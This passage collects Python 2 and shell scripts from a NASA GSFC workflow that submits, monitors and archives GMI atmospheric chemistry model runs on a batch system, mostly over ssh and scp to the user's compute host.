JOBNOTINQUEUE. #--------------------------------------------------------------------------- def isJobInQueue (self): if len (self.queueId) <= 0: raise self.exceptions.BADOBJECTDATA return qstatCommand = self.constants.QSTATPATH + "qstat -p | " + self.constants.GREPPATH + "grep " + self.queueId + " | " + self.constants.AWKPATH +"awk \'{print $1}\' " status = commands.getoutput (qstatCommand) if status == '': return self.constants.JOBNOTINQUEUE if status == self.queueId: return self.constants.JOBINQUEUE #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine checks for specific files that are expected from a GMI run. #--------------------------------------------------------------------------- def checkForValidRun (self): if len (self.nameListName) <= 0: raise self.exceptions.BADOBJECTDATA return if len (self.runDirectory) <= 0: raise self.exceptions.BADOBJECTDATA return extension = self.nameListName[len(self.nameListName)-len('.in'):len(self.nameListName)] if extension != ".in": raise self.exceptions.BADOBJECTDATA return fileList = self.automationObject.getMatchingFiles (self.runDirectory, ".asc") if len (fileList) <= 0: return self.constants.NOTVALIDRUN # read the standard output file splitString = string.split (self.queueId, ".") queueNumber = splitString [0] if queueNumber == "": return self.constants.NOTVALIDRUN fileList = self.automationObject.getMatchingFiles (self.runDirectory, queueNumber) if len (fileList) <= 0: return self.constants.NOTVALIDRUN standardOutFile = fileList [0] fileLines = self.ioObject.readFile (self.runDirectory + "/" + standardOutFile) if len (fileLines) <= 0: return self.constants.NOTVALIDRUN # now search the file for the following string: searchString = "Successful completion of the run" foundIt = 0 for line in fileLines: if re.search (searchString, line): foundIt = 1 break if foundIt == 0: return self.constants.NOTVALIDRUN return self.constants.VALIDRUN #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine transfers data to a "completed" dieectory under a run # directory and catalogs them by job segment. #--------------------------------------------------------------------------- def copyOutputDataToTempArchive (self, remoteSystem): print "top of copyOutputData" if len (self.nameListName) <= 0: raise self.exceptions.BADOBJECTDATA return if len (self.runDirectory) <= 0: raise self.exceptions.BADOBJECTDATA return if len (remoteSystem) == 0: if not os.path.exists (self.runDirectory): print "The runDirectory is : ", self.runDirectory raise self.exceptions.NOSUCHPATH return status = [] # contains status return codes and information if len (self.base) <= 0: self.base = self.nameListName[0:len(self.nameListName)-len('.in')] # "completed/YYYY" directory self.storageDirectory = self.runDirectory + "/completed" + "/" + self.year if len (remoteSystem) == 0: self.automationObject.createDirectoryStructure (self.storageDirectory) else: systemCommand = "ssh " + remoteSystem + " mkdir -p " + \ self.storageDirectory print systemCommand os.system (systemCommand) # "run_info/PET" runInfoDirectory = self.storageDirectory + "/run_info" petDirectory = runInfoDirectory + "/PET" if len (remoteSystem) == 0: self.automationObject.createDirectoryStructure (petDirectory) else: status.append (os.system ("ssh " + remoteSystem + " mkdir -p " + \ petDirectory)) # move the PET files systemCommand = "mv -f " + self.runDirectory + "/PET* " + petDirectory print systemCommand if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) # move all .nc files to the storageDirectory for now systemCommand = "mv -f " + self.runDirectory + "/*.nc " + self.storageDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) # move the restart file if len (remoteSystem) == 0: status.append (self.moveFileToDirectory (self.storageDirectory + "/" + \ self.base + ".rst.nc", # runInfoDirectory)) else: status.append (os.system ("ssh " + remoteSystem + " mv -f " + \ self.storageDirectory + "/" + self.base \ + ".rst.nc " + runInfoDirectory)) # now copy it back for the next segment systemCommand = "cp " + runInfoDirectory + "/*" + self.base + "*.rst.nc " + \ self.runDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) # move the standard error/output file from the run directory # and rename it to $base.out in the run_info directory # get the numerical part of the queueId # POSSIBLE BUG for non discover NCCS systems splitString = string.split (self.queueId, ".") queueNumber = splitString [0] systemCommand = "mv -f " + self.runDirectory + "/*.e" + queueNumber + " " + \ runInfoDirectory + "/" + self.base + ".out" if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) # ascii file systemCommand = "mv -f " + self.runDirectory + "/*" + self.base + "*.asc " + runInfoDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) # qsub file systemCommand = "mv -f " + self.runDirectory + "/*" + self.base + "*.qsub " + runInfoDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) # log directory systemCommand = "mv -f " + self.runDirectory + "/*" + "esm_log_*" + self.base + " " + \ runInfoDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) # timing file systemCommand = "mv -f " + self.runDirectory + "/*" + "esm_timing.*" + self.base + " " + \ runInfoDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) # ftiming file systemCommand = "mv -f " + self.runDirectory + "/ftiming* " + runInfoDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) # namelist file systemCommand = "mv -f " + self.runDirectory + "/" + self.nameListName + " " + runInfoDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) # metfields file metFileDirectory = self.runDirectory + "/completed/" + "/metfile_lists/" if len (remoteSystem) == 0: self.automationObject.createDirectoryStructure (metFileDirectory) else: status.append (os.system ("ssh " + remoteSystem + " mkdir -p " + \ metFileDirectory)) systemCommand = "cp " + self.runDirectory + "/*" + self.month + self.year + \ "*.list " + metFileDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) # diagostics files diagnosticsDirectory = self.storageDirectory + "/diagnostics" if len (remoteSystem) == 0: self.automationObject.createDirectoryStructure (diagnosticsDirectory) else: status.append (os.system ("ssh " + remoteSystem + " mkdir -p " + \ diagnosticsDirectory)) # flux file systemCommand = "mv -f " + self.storageDirectory + "/*" + self.base + "*_flux.nc " + \ diagnosticsDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) # tend file systemCommand = "mv -f " + self.storageDirectory + "/*" + self.base + "*.tend.nc " + \ diagnosticsDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) # qk file systemCommand = "mv -f " + self.storageDirectory + "/*" + self.base + "*.qk.nc " \ + diagnosticsDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) # qj file systemCommand = "mv " + self.storageDirectory + "/*" + self.base + "*.qj.nc " + \ diagnosticsDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) # qqjk file systemCommand = "mv -f " + self.storageDirectory + "/*" + self.base + "*.qqjk.nc " + \ diagnosticsDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) # station output stationDirectory = self.storageDirectory + "/stations/" + self.month + "/" if len (remoteSystem) == 0: self.automationObject.createDirectoryStructure (stationDirectory) else: status.append (os.system ("ssh " + remoteSystem + " mkdir -p " + \ stationDirectory)) systemCommand = "mv -f " + self.storageDirectory + "/*" + self.base + \ "*.profile.nc " + stationDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) # summary folders systemCommand = "mv -f " + self.runDirectory + "/completed/gmic_* " + runInfoDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) systemCommand = "mv -f " + self.runDirectory + "/stdout.log " + runInfoDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) systemCommand = "cp " + self.runDirectory + "/gmi.x " + runInfoDirectory if len (remoteSystem) == 0: status.append (os.system (systemCommand)) else: status.append (os.system ("ssh " + remoteSystem + " " + systemCommand)) return status #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine simple copies the file to the directory specified. #--------------------------------------------------------------------------- def moveFileToDirectory (self, file, directory): status = self.constants.NOERROR if not os.path.exists (file): status = self.constants.INCOMPLETEDATASET else: output = commands.getoutput (self.constants.MVPATH + "mv " + file + " " + directory) if output != "": status = self.constants.WRITEERROR print "here-last" return status #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine takes information from the GmiProduction object and writes # a summary to the "completed" directory. # Precondition: nameListName defined, runDirectory, what about qsubFile? #--------------------------------------------------------------------------- def writeSummary (self) : if len (self.nameListName) <= 0: raise self.exceptions.BADOBJECTDATA return if len (self.runDirectory) <= 0: raise self.exceptions.BADOBJECTDATA return if not os.path.exists (self.runDirectory): raise self.exceptions.NOSUCHPATH return if len (self.base) <= 0: self.base = self.nameListName[0:len(self.nameListName)-len('.in')] if not os.path.exists (self.runDirectory + "/completed/`" + self.base): self.automationObject.createDirectoryStructure (self.runDirectory + "/completed/" + self.base) summaryFile = self.runDirectory + "/completed/" + self.base + "/summary.txt" self.ioObject.touchNewFile (summaryFile) fileLines = [] if len (self.longDescription) <= 0: fileLines.append ("Long description: none") else: fileLines.append ("Long description: " + self.longDescription) if len (self.segmentDescription) <= 0: fileLines.append ("Segment description: " + self.base) else: fileLines.append ("Segment description: " + self.segmentDescription) if len (self.modelVersion) <= 0: fileLines.append ("Model version: none") else: fileLines.append ("Model version: " + self.modelVersion) if len (self.queueFileName) <= 0: fileLines.append ("Qsub file: none") else: fileLines.append ("Qsub file: " + self.queueFileName) fileLines.append ("Run directory: " + self.runDirectory) if len (self.mailTo) <= 0: fileLines.append ("Mail to: none") else: fileLines.apend ("Mail to: " + self.mailTo) if len (self.queueId) <= 0: fileLines.append ("Queue Id: none") else: fileLines.append ("Queue Id: " + self.queueId) fileLines.append ("Base: " + self.base) self.ioObject.writeToFile (fileLines, summaryFile) #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # # This routine reads the namelist file and fills in the year and month # variables in the object. #--------------------------------------------------------------------------- def fillInYearAndMonth (self): if len (self.runDirectory) <= 0 or len (self.nameListName) <= 0: raise self.exceptions.BADOBJECTDATA return # read the new file fileLines = self.ioObject.readFile (self.runDirectory + "/" + self.nameListName) if len (fileLines) <= 0: raise self.exceptions.ERROR for line in fileLines: if re.search ("begGmiDate", line): # get the part after the = splitString = string.split(line, "=") # get rid of comma and white spce date = string.strip (splitString[1]) splitString = string.split (date, ",") ymd = splitString [0] if len(ymd) != 8: print "length of ymd is not 8\n"; raise self.exceptions.ERROR self.year = ymd [0:4] # get the month (first 3 letters in the month) when = datetime.date (string.atoi (self.year), # string.atoi (date[4:6]), string.atoi (date[6:8])) self.month = string.lower (when.strftime("%b")) <file_sep>#!/bin/ksh set -e # stop the shell on first error set -u # fail when using an undefined variable set -x # echo script lines as they are executed # Defines the three variables that are needed for any # communication with SMS export SMS_PROG=%SMS_PROG% # SMS Remote Procedure Call number export SMSNODE=%SMSNODE% # The name sms that issued this task export SMSNAME=%SMSNAME% # The name of this current task export SMSPASS=%SMSPASS% # A unique password export SMSTRYNO=%SMSTRYNO% # Current try number of the task # Tell SMS we have stated # The SMS variable SMSRID will be set to parameter of smsinit # Here we give the current PID. smsinit $$ # Defined a error hanlder ERROR() { set +e # Clear -e flag, so we don't fail smsabort # Notify SMS that something went wrong trap 0 # Remove the trap exit 0 # End the script } # Trap any calls to exit and errors caught by the -e flag trap ERROR 0 # Trap any signal that may cause the script to fail trap '{ echo "Killed by a signal"; ERROR ; }' 1 2 3 4 5 6 7 8 10 12 13 15 <file_sep>#!/bin/bash echo ". $NED_WORKING_DIR/.exp_env.bash" . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE . $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/ReturnMonth.bash echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "------------------------" echo "CURRENT_DATE = $CURRENT_DATE" if [ "$COMPILE" = "yes" ]; then echo "GMI executable selected from compilation" echo "This feature is currently not supported" echo "------------------------" exit -1 fi echo "" export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi export QUEUE_FILE="gmi*_$EXP_NAME""_$currentYear""_$currentMonth"".qsub" # get the accounting file name . $NED_WORKING_DIR/.accounting_path echo "accountingFile = $accountingFile" echo "NED_REAL_USER = $NED_REAL_USER" if [ "$NED_REAL_USER" == "" ]; then export NED_REAL_USER=$NED_USER fi # call the script to submit the job, record the accounting information and append jobID to the env file echo "$NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./SubmitPbsJobAndRecord.py -f $WORK_DIR/$QUEUE_FILE -q $QSUB -a $accountingFile -n $NED_USER -r $NED_REAL_USER -w $NED_WORKING_DIR/.exp_env.bash -s $MACH -d $WORK_DIR " $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./SubmitPbsJobAndRecord.py -f $WORK_DIR/$QUEUE_FILE -q $QSUB -a $accountingFile -n $NED_USER -r $NED_REAL_USER -w $NED_WORKING_DIR/.exp_env.bash -s $MACH -d $WORK_DIR echo $? . $NED_WORKING_DIR/.exp_env.bash if [ "$jobID" == "" ]; then echo "There was a queue submission problem" exit -1 fi #longId=`$SSH_PATH $NED_USER@$MACH $QSUB $WORK_DIR/$QUEUE_FILE` #idLength=${#longId} #echo "longId: $longId" #echo "idLength: $idLength" #if [ $idLength -eq 0 ]; then # echo "Bad id length: $idLength" # exit -1 #fi echo "The $currentMonth $currentYear job id is: $jobID" #-------------------------------------------------------------------------- # Watch the status of the, but be careful not to exit prematurely #--------------------------------------------------------------------------- status = "" let numberOfEmpty=0 export jobId=$jobID echo "--------------------------------------------------------------------" let maxSeconds=432000 let numSeconds=0 let sleepTime=45 echo -e "\nmaxSeconds: $maxSeconds" echo "numSeconds: $numSeconds" while [ $numSeconds -lt $maxSeconds ]; do echo -e "\nssh $NED_USER@$MACH $QSTAT | grep ${jobId}" status=`ssh $NED_USER@$MACH $QSTAT | grep ${jobId} | awk '{print $5}'` echo $status echo -e "\nsleep $sleepTime" sleep $sleepTime let numSeconds=numSeconds+sleepTime echo -e "\nseconds so far: $numSeconds" if [ "$status" = "R" ]; then echo -e "\nscp $NED_USER@$MACH:$WORK_DIR/stdout.log $NED_WORKING_DIR/$NED_UNIQUE_ID/log" scp $NED_USER@$MACH:$WORK_DIR/stdout.log $NED_WORKING_DIR/$NED_UNIQUE_ID/log tail -n 50 $NED_WORKING_DIR/$NED_UNIQUE_ID/log/stdout.log fi #-------------------------------------------------------------------------- # the job may be done; needs further investigating #--------------------------------------------------------------------------- if [ "$status" = "" ]; then counter=0 numberOfEmpty=0 #--------------------------------------------------------------------------- # keeps checking the batch system in case of a false negative #-------------------------------------------------------------------------- while [ $counter -lt 5 ]; do sleep 30 echo -e "\nssh $NED_USER@$MACH $QSTAT | grep ${jobId}" status=`ssh $NED_USER@$MACH $QSTAT | grep ${jobId}` if [ "$status" = "" ]; then let numberOfEmpty=numberOfEmpty+1 echo "Job status is empty ($numberOfEmpty)" fi let counter=counter+1 done #--------------------------------------------------------------------------- # exit when satified that the job has finished #-------------------------------------------------------------------------- if [ $numberOfEmpty -gt 4 ]; then echo -e "\nThe empty job status has been satisfied" break fi fi done sleep 60 #--------------------------------------------------------------------------- # check standard output/error file #-------------------------------------------------------------------------- export standardOutFile="gmi*$jobId" successKeyWord="<PASSWORD> run" keyWordLength=${#successKeyWord} if [ $numberOfEmpty -gt 4 ] && [ "$status" = "" ]; then echo "Attempting to get standard out/error file" echo "$SSH_PATH $NED_USER@$MACH mv -f $standardOutFile $WORK_DIR" $SSH_PATH $NED_USER@$MACH mv -f $standardOutFile $WORK_DIR echo "$SSH_PATH $NED_USER@$MACH tail -n 100 $WORK_DIR/$standardOutFile | grep \"${successKeyWord}\"" outputCheck=`$SSH_PATH $NED_USER@$MACH tail -n 100 $WORK_DIR/$standardOutFile | grep "${successKeyWord}"` if [ "$?" != "0" ]; then echo "ERROR: Output check did not pass" echo "RETURNED: $outputCheck" exit -1 else echo "$CURRENT_DATE completed successfully in GMI workflow" fi fi echo "GMI $EXP_NAME $currentYear $currentMonth segment appears to have finished successfully" echo "---------------------------------------------------------------------" exit 0 <file_sep>#!/usr/bin/python #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: October 28th, 2010 # # DESCRIPTION: # This script will increment the date given by one month # # Execute this script by typing : # python IncrementMonth.py -d YYYYMMDD # # NOTE: # # Modification History #------------------------------------------------------------------------------ __author__ = '<NAME>' __version__ = '0.0' __date__ = '2008/24/4' import getopt import sys import os import time import commands NUM_ARGS=1 def usage (): print "Usage: IncrementMonth.py [-d]" sys.exit (0) #--------------------------------------------------------------- # Get options from command line #--------------------------------------------------------------- optList, argList = getopt.getopt(sys.argv[1:],'d:') if len (optList) != NUM_ARGS: usage () <file_sep>#!/bin/bash #export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash export workflowConfig=$NED_WORKING_DIR/.exp_env.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" export metDirectory=$WORK_DIR/completed/metdata_files echo "----------------------------" echo "Move station files to: $metDirectory" echo "------------------------" echo "" echo "ssh $NED_USER@$MACH mv $WORK_DIR/*.list $metDirectory" ssh $NED_USER@$MACH mv $WORK_DIR/*.list $metDirectory export outputCode=$? echo "output: $outputCode" if [ "$outputCode" == "0" ]; then echo "Metdata files moved to $metDirectory" elif [ "$outputCode" == "1" ]; then echo "Metdata NOT files moved to $metDirectory" else echo "Don't understand this code: $outputCode" exit -1 fi echo "ssh $NED_USER@$MACH ls $metDirectory/*list | wc -l" numMetdataFiles=`ssh $NED_USER@$MACH ls $metDirectory/*list | wc -l` #trim leading whitespace with echo trick: numMetdataFiles=`echo $numMetdataFiles` echo "num met data files: $numMetdataFiles" echo "export numMetdataFiles=$numMetdataFiles" >> $workflowConfig echo "Success. Exiting" exit 0 <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # NASA/GSFC, Software Integration & Visualization Office, Code 610.3 #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: February 20th 2007 # # DESCRIPTION: # Provides routines for IO. #------------------------------------------------------------------------------ import os import sys import datetime import re from GmiAutomationConstants import GmiAutomationConstants class IoRoutines: #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Constructor routine. #--------------------------------------------------------------------------- def __init__(self): self.constants = GmiAutomationConstants () #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Destructor routine. #--------------------------------------------------------------------------- def __del__(self): pass #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Reads an input file or throws a proper exception. #--------------------------------------------------------------------------- def readFile (self, fileName): if len (fileName) == 0: raise self.constants.ERROR if not os.path.exists (fileName): raise self.constants.NOSUCHFILE fileContents = [] try: fileObject = open (fileName, 'r') fileContents = fileObject.read () fileObject.close () except: return GmiAutomationTools.constants.READERROR fileLines = fileContents.splitlines() return fileLines #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Write the array to the file (appends if file exists or creates if not) #--------------------------------------------------------------------------- def writeToFile (self, fileContents, fileName): mode = 'a' if not os.path.exists (fileName): try: self.touchNewFile (fileName) except: raise self.constants.ERROR fileObject = open (fileName, mode) for line in fileContents: fileObject.write (line) fileObject.write ('\n') fileObject.close () #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine simply creates a new file from the fileName #--------------------------------------------------------------------------- def touchNewFile (self, fileName): try: fileObject = open (fileName, 'w') fileObject.close () except: raise self.constants.ERROR <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: June 8th, 2007 # # DESCRIPTION: # This script will create GMI namelists based on a base namelist # # Execute this script by typing : # python MakeNameLists.py -p path to namelist -n namelist name -d current date # -r flag to replace restart file -z restart file path # # NOTE: # # ** As input this script excepts a FULL PATH to a run directory; DO NOT # use unix/linux variables such as $HOME or relative paths. # Modification History #------------------------------------------------------------------------------ __author__ = '<NAME>' __version__ = '0.0' __date__ = '2008/21/3' import getopt import sys import os import time import commands from GmiNameLists import GmiNameLists NUM_ARGS=6 nameListObject = GmiNameLists () def usage (): print "Usage: MakeNameLists.py [-p][-n][-d][-r][-z][-e]" print "-p Full path to namelist directory" print "-n Name of namelist file" print "-d The current date or start date" print "-r Flag to replace restart file" print "-z Restart file directory" print "-e The end date" sys.exit (0) #--------------------------------------------------------------- # Get options from command line #--------------------------------------------------------------- optList, argList = getopt.getopt(sys.argv[1:],'p:n:d:r:z:e:') if len (optList) != NUM_ARGS: usage () theDate = optList[2][1] month = theDate[4:6] endDate = optList[5][1] monthsOfTheYear = {'01':'jan', \ '02':'feb', \ '03':'mar', \ '04': 'apr', \ '05': 'may', \ '06': 'jun', \ '07': 'jul', \ '08': 'aug', \ '09': 'sep', \ '10': 'oct', \ '11': 'nov', \ '12': 'dec'} if ( int (endDate) - int (theDate) ) == 1: nameListObject.oneDay = 1 nameListObject.endDate = endDate nameListObject.nameListPath = optList [0][1] nameListObject.nameListFile = optList [1][1] nameListObject.numberOfNameLists = 1 nameListObject.startMonth = monthsOfTheYear[month] nameListObject.startYear = theDate[0:4] nameListObject.startDate = theDate nameListObject.replaceRestartFile = int (optList[3][1]) nameListObject.restartFileDir = optList[4][1] nameListObject.makeNameLists () <file_sep>#!/usr/local/bin/bash export CP=/bin/cp export TOUCH=/usr/bin/touch export QSUB=/usr/slurm/bin/qsub export QSTAT=/usr/slurm/bin/qstat export HOSTNAME=/bin/hostname export MKDIR=/bin/mkdir export LS=/bin/ls export CVS=/usr/bin/cvs export QDEL=/usr/slurm/bin/qdel <file_sep>#!/bin/bash echo ". $NED_WORKING_DIR/.exp_env.bash" . $NED_WORKING_DIR/.exp_env.bash echo ". $ENV_FILE" . $ENV_FILE . $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/ReturnMonth.bash echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "------------------------" echo "CURRENT_DATE = $CURRENT_DATE" export METFIELD_DIR=$GMI_DIR/input/run_info/metfile_lists/$MET_TYPE/ export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} echo "METFIELD_DIR = $METFIELD_DIR" echo "------------------------" export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi echo "------------------------" echo "Current year: $currentYear" echo "Current month: $currentMonth" echo "------------------------" echo "------------------------" export NAMELIST_FILE="gmic_$EXP_NAME""_$currentYear""_$currentMonth"".in" export REMOTE_HOST="$NED_USER@$MACH" echo "NAMELIST_FILE: $NAMELIST_FILE" echo "WORK_DIR: $WORK_DIR" echo "REMOTE_HOST: $REMOTE_HOST" echo "$NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./ArchiveOutputs.py -r $REMOTE_HOST -d $CURRENT_DATE -w $WORK_DIR -n $NAMELIST_FILE -q $jobID -c $NED_WORKING_DIR -u $NED_USER" $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./ArchiveOutputs.py -r $REMOTE_HOST -d $CURRENT_DATE -w $WORK_DIR -n $NAMELIST_FILE -q $jobID -c $NED_WORKING_DIR -u $NED_USER echo $? echo "------------------------" exit 0 <file_sep>$NED_WORKING_DIR/$NED_UNIQUE_ID/bin/vcdat.bash >> $NED_WORKING_DIR/$NED_UNIQUE_ID/log/vcdat.log <file_sep>#!/bin/bash . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "------------------------" echo "Copying the env GMI files: " echo ".loadGMI" echo ".cshrc.gmi" echo ".login.gmi" if [ "$MPI_TYPE" == "intel" ]; then gmiEnvFile="$NED_WORKING_DIR/.loadGMI-$MACH-intel" runRefFile="$NED_WORKING_DIR/run_ref_intel_$MACH" elif [ "$MPI_TYPE" == "scali" ]; then gmiEnvFile="$NED_WORKING_DIR/.loadGMI-$MACH-scali" runRefFile="$NED_WORKING_DIR/run_ref_scali_$MACH" else echo "The MPI type: ", $MPI_TYPE, " is not supported" echo "----------------------------" exit -1 fi echo "MPI_TYPE: ", $MPI_TYPE echo "gmiEnvFile: ", $gmiEnvFile echo "$SCP_PATH $gmiEnvFile $NED_USER@$MACH:$WORK_DIR" echo "ready..." $SCP_PATH $gmiEnvFile $NED_USER@$MACH:$WORK_DIR if [ "$?" != "0" ]; then echo "The .loadGMI file was not installed on $MACH" echo "----------------------------" echo "" exit -1 fi echo "After SCP" echo "#Path on remote system to the GMI env file" >> $NED_WORKING_DIR/.exp_env.bash echo "export GMI_ENV=$WORK_DIR/.loadGMI-$MACH-$MPI_TYPE" >> $NED_WORKING_DIR/.exp_env.bash echo "#Run reference file" >> $NED_WORKING_DIR/.exp_env.bash echo "export RUN_REF=$NED_WORKING_DIR/run_ref_${MPI_TYPE}_${MACH}" >> $NED_WORKING_DIR/.exp_env.bash echo "$SCP_PATH $NED_WORKING_DIR/.cshrc.gmi-$MACH $NED_USER@$MACH:" $SCP_PATH $NED_WORKING_DIR/.cshrc.gmi-$MACH $NED_USER@$MACH: echo "after .cshrc scp" if [ "$?" != "0" ]; then echo "The .cshrc.gmi file was not installed on $MACH" echo "----------------------------" echo "" exit -1 fi echo "$SCP_PATH $NED_WORKING_DIR/.login.gmi-$MACH $NED_USER@$MACH:" $SCP_PATH $NED_WORKING_DIR/.login.gmi-$MACH $NED_USER@$MACH: echo "after login scp" if [ "$?" != "0" ]; then echo "The .login.gmi file was not installed on $MACH" echo "----------------------------" echo "" exit -1 fi echo "$SSH_PATH $NED_USER@$MACH chmod 755 .*.gmi* $WORK_DIR/.loadGMI*" $SSH_PATH $NED_USER@$MACH chmod 755 .*.gmi* $WORK_DIR/.loadGMI* #if [ "$?" != "0" ]; then # echo "There was a problem setting the permissions on the env files on $MACH" # echo "----------------------------" # echo "" # exit -1 #fi echo "" echo "Files installed successfully" echo "----------------------------" exit 0 <file_sep>#!/bin/bash . $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE . $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/ReturnMonth.bash echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "------------------------" echo "CURRENT_DATE = $CURRENT_DATE" # Since the monitoring task doesn't really care about START_DATE # We need to let it know what the current end date is # which may or may not be the actual end date <file_sep>smscomplete # Notify SMS of a normal end trap 0 # Remove all traps exit 0 # End the shell <file_sep>#!/bin/bash #export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash export workflowConfig=$NED_WORKING_DIR/.exp_env.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" export metDirectory=$WORK_DIR/completed/metdata_files export metArchive=$ARCHIVE_DIR/metdata_files echo "----------------------------" echo "Archive metdata files" echo "------------------------" echo "ssh $NED_USER@$MACH ls $metArchive" ssh $NED_USER@$MACH ls $metArchive export outputCode=$? echo "output: $outputCode" if [ "$outputCode" == "2" ] || [ "$outputCode" == "1" ]; then echo "Making $metArchive" echo "ssh $NED_USER@$MACH mkdir -p $metArchive" ssh $NED_USER@$MACH mkdir -p $metArchive echo "Moving metdata to: $metArchive" echo "ssh $NED_USER@$MACH mv $metDirectory/*.list $metArchive" ssh $NED_USER@$MACH mv $metDirectory/*.list $metArchive elif [ "$outputCode" == "0" ]; then echo "Moving metdata to: $metArchive" echo "ssh $NED_USER@$MACH mv $metDirectory/*.list $metArchive" ssh $NED_USER@$MACH mv $metDirectory/*.list $metArchive else echo "Don't understand this code: $outputCode" exit -1 fi echo "Success. Exiting" exit 0 <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # NASA/GSFC, Software Integration & Visualization Office, Code 610.3 #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: November 19 2008 # # DESCRIPTION: # This class provides routines for handling XML files. #------------------------------------------------------------------------------ import os import sys import re import string import xml.dom.minidom class XMLFileTools: BAD_INPUT = -1 SCP_ERROR = -2 SSH_ERROR = -3 IO_ERROR = -4 SSH_SUCCESS = 0 #--------------------------------------------------------------------------- # 